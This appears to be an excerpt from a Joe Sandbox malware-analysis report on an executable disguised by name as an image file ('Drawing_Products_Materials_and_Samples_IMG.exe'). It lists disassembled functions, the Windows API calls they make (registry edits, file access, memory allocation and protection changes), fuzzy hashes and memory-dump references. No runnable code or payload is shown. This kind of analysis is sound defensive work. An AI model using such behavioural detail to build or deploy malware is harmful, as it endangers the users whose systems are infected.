Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6e648e4d60bbbe4240689ab11f1c8e4383af39775b03d872555c2639b8fa9900
Instruction ID: 0ac01c35b1a0eb5cd592cd1bd468c7a0eb97994f07403c330b4f6ecb6608de49
Opcode Fuzzy Hash: 6e648e4d60bbbe4240689ab11f1c8e4383af39775b03d872555c2639b8fa9900
Instruction Fuzzy Hash: 7D01F431628210ABE7194B789C04B6A3698E751359F10C23BF911F76F1D67CDC028B4D

Function 004022BE Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B11: RegOpenKeyExA.KERNELBASE(00000000,000003E7,00000000,00000022,00000000,?,?,?,004022CA,00000002), ref: 00402B39

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033,00000002), ref: 004022DD
RegCloseKey.ADVAPI32(00000000), ref: 004022E6

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: ef24d438c4dda026042bb148aacc018fe18a7187f4959e07bc3e84ca0d939caf
Instruction ID: baeefcf9a9db1f94083355b6d21ea7a3e6d609a59d1c11f41be6f028ad682588
Opcode Fuzzy Hash: ef24d438c4dda026042bb148aacc018fe18a7187f4959e07bc3e84ca0d939caf
Instruction Fuzzy Hash: DAF0C232A00114ABDB10BBF48F8EEAE72A89B40318F10453BF601B71C1D9FD5E01966E

Function 004019F1 Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A04
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A17

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: 79b7a0e01db123afcc079197edd82df6480287eb604ff4a0558d32cca6c4bcf2
Instruction ID: 64e31e8d79c260f471948d3ba476d288fe94427c8d4244796acf024e200d0c72
Opcode Fuzzy Hash: 79b7a0e01db123afcc079197edd82df6480287eb604ff4a0558d32cca6c4bcf2
Instruction Fuzzy Hash: D3F0A032F06241EBCB21CF6ADD48AABBFE8DF91350B10803BE549F6290D6788541DB5D

Function 0040155B Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00010410), ref: 00401579
ShowWindow.USER32(0001040C), ref: 0040158E

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: add7964105dab1707aaaa84d4f0c0e9d1ab12f2020f5d8ceeb3b73bd8940a280
Instruction ID: ee0513fff25cb1769eb447bdd8d815014c6f46c9afdd248f46aeede14d5c0a9d
Opcode Fuzzy Hash: add7964105dab1707aaaa84d4f0c0e9d1ab12f2020f5d8ceeb3b73bd8940a280
Instruction Fuzzy Hash: 95F0553BA082419FD700CB68EC8086E7BE1EB8630171885BBE101A31C1C2B86E00D718

Function 00401DAC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DC2
EnableWindow.USER32(00000000,00000000), ref: 00401DCD

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 0401fe0a8408a80830016dcf6a5a76bfc0338b17fffd66502b160acb969e5ee0
Instruction ID: dacfe0cc3fa15e7f928c0b82e119a982ce74a601eef441543fec6a70ee28c1de
Opcode Fuzzy Hash: 0401fe0a8408a80830016dcf6a5a76bfc0338b17fffd66502b160acb969e5ee0
Instruction Fuzzy Hash: A9E0C272A04111DBCB10BBB4AE4AA6E33A4EF0035AB104437F202F10D1D6B99C80966E

Function 0040582A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C73,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,80000000,00000003), ref: 0040582E
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405850

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 2ef177618df3c6e064d17c8612f07db8468e07c34dd9f446758cb9fc7f1f7b71
Instruction ID: d58f26a5a32defaeeb3d325f121af029a3aa60b04f4a5bd1c9a51958cab5ad8a
Opcode Fuzzy Hash: 2ef177618df3c6e064d17c8612f07db8468e07c34dd9f446758cb9fc7f1f7b71
Instruction Fuzzy Hash: B8D09E31658301AFEF098F20DE16F2EBBA2EB84B01F10962CB642940E0D6715C15DB16

Function 00405805 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,0040541D,?,?,00000000,00405600,?,?,?,?), ref: 0040580A
SetFileAttributesA.KERNELBASE(?,00000000), ref: 0040581E

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5df830ec8081628c906cb6b3941fc93fb328a3f8e8f16404b38d361d687dc965
Instruction ID: 3771f6966254d71710a4ae6656988e9437677f6c038d1dffa01ca6e46143e4f7
Opcode Fuzzy Hash: 5df830ec8081628c906cb6b3941fc93fb328a3f8e8f16404b38d361d687dc965
Instruction Fuzzy Hash: 84D0C972908120BFC6112728EE0889BBF95DB54271B018B31F969A22F0C7304C628A95

Function 1000279C Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 1000285B
GetLastError.KERNEL32 ref: 10002962

Memory Dump Source

Source File: 00000000.00000002.17896186253.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.17896153967.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896219730.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896248787.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: ba7f390c09ff9bfcbf5680bad404fe2f4794605870cc1d857870def209431754
Instruction ID: bd365418521e43e453085722f926cc1c0e2ab3e4cffdaddced3e06c5c0338b71
Opcode Fuzzy Hash: ba7f390c09ff9bfcbf5680bad404fe2f4794605870cc1d857870def209431754
Instruction Fuzzy Hash: D951A5BA808215DFFB24DF64DCC675937A8EB443D4F22842AE608E722DDF34A950CB55

Function 00402239 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 00402272

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 1b535b2f77e26f19bb2a4b73d3ace5ecbe5a17c068042cb8380ef8c757cca308
Instruction ID: 594037780aef2bbb7222699eae6bef26f59cc054eef20af3a1b4cc0f61f7743a
Opcode Fuzzy Hash: 1b535b2f77e26f19bb2a4b73d3ace5ecbe5a17c068042cb8380ef8c757cca308
Instruction Fuzzy Hash: ADE04F32B001E56ADB207AF18ECDD7FA1589B8434CB15017FF601B62C2DDBC2D418AA9

Function 00401705 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 229f9174a99439800e6bd5483d1953b88d06905af260e095f0c906ad75f1f1d1
Instruction ID: c8b7268d7410949cc8a142cc913c583a62ced303dd91b827a703b53b8233a778
Opcode Fuzzy Hash: 229f9174a99439800e6bd5483d1953b88d06905af260e095f0c906ad75f1f1d1
Instruction Fuzzy Hash: 6AE02672304200ABD300DF68DE48AAA779CCB01368F30863BFA01E20C1E2B99940972D

Function 00403072 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402EBC,000000FF,?,00000000,00000000,00000000), ref: 00403089

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e68bf106eb3186c7e106c3f9a269c6ae9a01f653eb00a6b034ce70840e3ede78
Instruction ID: 0981d36ce8a37324ca65ea29ac33eec068edb21049201a101882ec42e2df6d76
Opcode Fuzzy Hash: e68bf106eb3186c7e106c3f9a269c6ae9a01f653eb00a6b034ce70840e3ede78
Instruction Fuzzy Hash: 3FE08C32151119BBCF205E619C08AEB3B5CEB007A6F00C033BA18E5190D630EB149BA8

Function 00402B11 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,000003E7,00000000,00000022,00000000,?,?,?,004022CA,00000002), ref: 00402B39

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4944fcb4b0595bcf744489a17d5e431ec8a9cb0b5ea9cf1e3315565daf770c26
Instruction ID: 2076060dfd2ee921fe50c9635413a5f0d56a6b8cd73322b3d01e2a4deb0b2e86
Opcode Fuzzy Hash: 4944fcb4b0595bcf744489a17d5e431ec8a9cb0b5ea9cf1e3315565daf770c26
Instruction Fuzzy Hash: 39E04F76250108AED700EBA5DD46EA57BDCA704704F008021B608D6091CA78E5508B58

Function 004025E6 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 004025F7

Part of subcall function 00405ADA: wsprintfA.USER32 ref: 00405AE7

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: bfa30f6df7f7063005ba403da7b46f4a472dab2f3ef42adc61964cf279dd48d1
Instruction ID: 6da6cc3d53d6ea9ebb59f8823919d91810135f3ca2ec635d41be57e1f8f238b7
Opcode Fuzzy Hash: bfa30f6df7f7063005ba403da7b46f4a472dab2f3ef42adc61964cf279dd48d1
Instruction Fuzzy Hash: ABE0863760C1409FC700F7A999C585E77A4DA413253148B7BE111F20D1C6BD84419B2E

Function 100026C2 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,?,?,1000403C), ref: 100026E0

Memory Dump Source

Source File: 00000000.00000002.17896186253.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.17896153967.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896219730.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
